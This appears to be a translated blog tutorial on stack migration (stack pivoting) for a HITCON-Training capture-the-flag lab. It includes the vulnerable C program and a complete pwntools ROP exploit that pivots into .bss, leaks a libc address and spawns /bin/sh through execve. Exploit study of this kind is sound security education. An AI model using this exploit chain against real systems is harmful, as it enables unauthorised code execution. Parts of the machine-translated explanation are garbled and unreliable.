Stack migration / stack hijacking

Keywords: github less Python Linux

Example

https://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab6

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int count = 1337 ;
int main(){
    if(count != 1337)
        exit(1);
    count++;
    char buf[40];
    setvbuf(stdout,0,2,0);
    puts("Try your best :");
    read(0,buf,64);
    return 0;   
}
gcc -m32 -z relro -z now -fno-stack-protector -mpreferred-stack-boundary=2 -no-pie a.c -o a

 

Problems with previous methods

buf only has 40B, but it has read 64B. Stack overflow occurs here

The actual test results show that offset=44, so only 20B can write exp

ret2text has no corresponding function

ret2shellcode has read function and bss has write permission. You can read and write shellcode in bss, and then write returns to bss, but the length exceeds 24B

ret2libc: if you want to disclose the address or something, you can use puts to disclose the address. Count limits the number of executions. Then use read to modify count and execute main

But it's a pity that 20B can only write 5 values when it's over the length

The purpose of executing main again is to write exp again and execute it while keeping the libc loading position unchanged. If the execution starts from the middle of main after passing the exit judgment, because the stack is unbalanced, the read address is an invalid address, and ret is less than

Stack migration

  • Stack migration is mainly to solve the problem of insufficient overflow space
  • Principle: cover EBP as fake'ebp, and then use leave; ret; to hijack esp to fake'ebp
  • leave ret is equivalent to
mov $esp, $ebp; use ebp Value writing esp
pop $ebp
pop $eip
  • Template: exp1 = buf1 + ROP1 + read@plt + leave_ret + STDIN + buf1 + Len1
    • Initial: to execute leave; ret;. EBP points to buf, esp points to low unknown area
    • leave:
      • mov $esp, $ebp; 
        •  esp=ebp -> buf1
      • pop ebp; 
        • ebp=buf1 
        • esp->ROP1
    • ret:
      • pop $eip
        • esp->read@plt
        • eip=ROP1
    • ROP1's ret
      • pop $eip
        • esp->leave_ret
        • eip=read@plt
    • read(STDIN, buf1, Len)
      • Write the next exp2 to buf1, and the length is determined by Len1
      • exp2 = buf2  + ROP2 + read@plt + leave_ret + STDIN + buf2 + Len
    • leave_ret
      • Situation back to the beginning
  • If ROP is not put at the beginning, exp is the shortest = len(junk) + 6*8
  • With stack migration, a writable and ret reachable area can be obtained continuously. As long as the first one is successful, it will not be limited by the length of the original overflow point in the future

application

  • In this case, junk=40, the shortest exp = 40 + 6 * 8 = 64 is just right
  • And the location of buf has requirements:
    • Known location
    • It can be written. If it can be executed, it can be ret2shellcode
    • It does not affect the normal function process and can be adjusted properly
#!/usr/bin/python
# coding=utf-8
from pwn import *
from time import *
from string import *
from LibcSearcher import *
context.log_level='Debug'
context(arch='i386', os='linux')
file_name='migration.dms'
sh=process(file_name)
gdb.attach(sh)

offset=40
addr={
    'pop1_ret': 0x0804836d,
    '.bss':     0x0804a00c,
    'read@plt': 0x08048380,
    'puts@plt': 0x08048390,
    'lsm@got':  0x08049ff8,
    'leave_ret':0x08048504
}
buf=(
    addr['.bss']+0x400, 
    addr['.bss']+0x500,
)
Len=0x100
STDIN=0
STDOUT=1
NULL=0
#exec payload1
sh.sendafter(
    'Try your best :\n',
    flat(
        'A'*offset,
        buf[0],
        addr['read@plt'],
        addr['leave_ret'],
        STDIN,
        buf[0],
        Len
    )
)
#exec payload2
sh.send(
    flat(
        buf[1],
        addr['puts@plt'],
        addr['pop1_ret'],
        addr['lsm@got'],
        addr['read@plt'],
        addr['leave_ret'],
        STDIN,
        buf[1],
        Len
    )
)
#calc addr
lsmAddr=u32(sh.recv(5)[:4])
print("lsmAddr = "+hex(lsmAddr))
libc=LibcSearcher('__libc_start_main', lsmAddr)
baseAddr=lsmAddr-libc.dump('__libc_start_main')
binsh=baseAddr+libc.dump('str_bin_sh')
execve=baseAddr+libc.dump('execve')
print("execve = "+hex(execve))
print("/bin/sh = "+hex(binsh))
#exec payload3
sh.send(
    flat(
        buf[0],
        execve,
        0,
        binsh,
        NULL,
        NULL
    )
)
sh.interactive()
'''
break *0x8048504 
x/wd 0x0804A008
'''

summary

  • The ret instruction is closely related to the SP register. If you do not move the stack to a known location, you will find that you do not know where to write when you write read. Because ret = > pop IP, although read gives you the ability to write arbitrarily, because of the stack randomization, the SP is unpredictable and cannot find where to write
  • Stack migration can build a ROP environment by itself, not limited by the original program

Reference resources

https://blog.csdn.net/zszcr/article/details/79841848

Published 8 original articles, won praise 0, visited 572
Private letter follow

Posted by shelluk on Wed, 29 Jan 2020 22:21:29 -0800